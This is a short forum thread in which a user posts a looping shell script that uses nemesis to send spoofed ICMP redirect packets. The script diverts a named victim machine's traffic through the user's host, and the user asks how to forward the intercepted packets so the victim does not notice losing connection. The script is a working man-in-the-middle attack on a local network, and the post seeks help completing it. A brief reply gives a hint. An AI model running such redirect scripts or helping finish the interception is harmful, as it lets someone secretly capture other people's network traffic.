ICMP troubles

[[WebCarnage]]

Because ICMP redirection implemented in Ettercap doesn't work for me (I don't know why), I wrote script which do it for me:

#!/bin/sh 
# 
echo 1 > /proc/sys/net/ipv4/ip_forward 
while : 
do 
./nemesis icmp -v -i 5 -c 0 -G 192.168.0.100 -qR -S 192.168.0.1 -D 192.168.0.109 -H 00:30:4f:2d:f6:12 -M 00:80:c7:09:e2:28 
done

Now, I receive packets from 192.168.0.109
Great, but my victim loses his/her internet connection. It's logical. because I didn't do forwarding of packets. And this is my problem.
"echo > 1 /proc/sys/net/ipv4/ip_forward" doesn't work, because I receive form 192.168.0.109 packets like this:
src.: 192.168.0.109 dst.: www.google.com

not like this, where ip_forward would be working:
src.: 192.168.0.1 dst.: 192.168.0.1 (our network gateway)

How can I resend packets to the gateway? I tried with iptables, masquerade, postrouting and all that stuff, but I couldn't achieve my goal. Please help me

PS: Do I have to possess two ethernet cards? I don't think so...

PPS: nemesis is outlined here if you don't know what it is.

[SirDice]

You need to make sure your host can still use the default gateway.